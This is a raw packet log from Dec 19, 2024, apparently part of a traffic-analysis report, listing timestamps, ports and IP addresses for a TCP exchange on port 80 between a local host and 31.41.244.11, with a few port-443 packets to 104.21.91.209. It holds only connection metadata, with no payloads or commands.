Dec 19, 2024 20:11:37.461301088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.463818073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.463884115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.464082956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.464137077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.466491938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.466552019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.466701031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.466777086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.468779087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.468833923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.468872070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.468914032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.471395969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.471622944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.539773941 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:37.539911985 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:37.539962053 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:37.540132999 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:37.540154934 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:37.567708015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.567791939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.567795038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.567842960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.568835020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.568911076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.568988085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.569056988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.570971966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.571105003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.571773052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.571834087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.571872950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.571934938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.573985100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.574048996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.574084997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.574136019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.576169968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.576251030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.576273918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.576324940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.578304052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.578423977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.578428030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.578466892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.580389977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.580460072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.580486059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.580524921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.582441092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.582511902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.582535982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.582591057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.584491014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.584572077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.584624052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.584650993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.586477041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.586546898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.586586952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.586672068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.588510990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.588632107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.588654041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.588731050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.590460062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.590533972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.590600014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.590656996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.592367887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.592482090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.592545986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.594383001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.594441891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.594485044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.594523907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.596206903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.596323013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.596326113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.596384048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.598124981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.598280907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.598315954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.598371029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.600023031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.600116014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.600131989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.600332022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.601937056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.602010965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.602044106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.602067947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.603835106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.603900909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.603980064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.604032993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.605751991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.605818033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.605854034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.605918884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.607623100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.607691050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.607706070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.607763052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.609528065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.609610081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.609644890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.609707117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.611515999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.611584902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.611730099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.611783028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.613333941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.613408089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.613437891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.613497019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.615230083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.615302086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.615358114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.615412951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.617137909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.617196083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.617233038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.617290020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.619108915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.619170904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.619189024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.619251013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.621071100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.621187925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.621220112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.621277094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.622828007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.622911930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.622912884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.622967005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.624804020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.624881983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.624927998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.624988079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.626689911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.626746893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.626770020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.626801014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.628544092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.628658056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.628710985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.628755093 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.630441904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.630520105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.630544901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.630614996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.632359028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.632460117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.632462025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.632519007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.634248972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.634326935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.634439945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.634586096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.636157036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.636223078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.636255980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.636322975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.638094902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.638149023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.638480902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.638554096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.639949083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.640018940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.640101910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.640192032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.641948938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.642011881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.642026901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.642096996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.643784046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.643867970 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.643883944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.643942118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.645704985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.645793915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.645800114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.645870924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.647738934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.647846937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.647882938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.647908926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.649566889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.649633884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.649714947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.649775028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.651384115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.651496887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.651519060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.651664972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.653268099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.653326988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.653384924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.653426886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.655164003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.655235052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.655273914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.655328989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.657082081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.657167912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.657196045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.657275915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.658984900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.659040928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.659095049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.659193993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.660866976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.660934925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.660980940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.661042929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.662808895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.662908077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.662939072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.662998915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.770689011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.770766020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.770898104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.770952940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.771460056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.771512032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.771543026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.771667957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.774981976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.775038958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.775114059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.775120020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.775183916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.775454998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.775523901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.775794983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.775849104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.775882959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.775949001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.777153015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.777199984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.777232885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.777323008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.778577089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.778659105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.778669119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.778706074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.779922009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.780036926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.780040026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.780095100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.781292915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.781342983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.781388998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.781454086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.782670021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.782744884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.782793045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.782839060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.784023046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.784116983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.784266949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.784359932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.785337925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.785403967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.785520077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.785567045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.786806107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.786864042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.786900043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.788059950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.788197041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.788232088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.788324118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.791045904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.791147947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.791250944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.791259050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.791306019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.791487932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.791661024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.792052984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.792098045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.792165995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.792216063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.793370962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.793486118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.793493986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.793539047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.794672966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.794754028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.794780016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.794821978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.796015978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.796066046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.796147108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.796216965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.797354937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.797513008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.797595024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.797651052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.798799992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.798841953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.798893929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.800023079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.800088882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.800251007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.800344944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.801331043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.801388979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.801414013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.801474094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.802659035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.802721024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.802778959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.802829027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.804110050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.804209948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.804241896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.804306030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.805335999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.805387020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.805413961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.805464029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.806648970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.806696892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.806823015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.806910038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.807967901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.808032036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.808092117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.808178902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.809344053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.809385061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.809421062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.809448957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.810617924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.810699940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.810734034 CET	80	49842	31.41.244.11	192.168.2.4
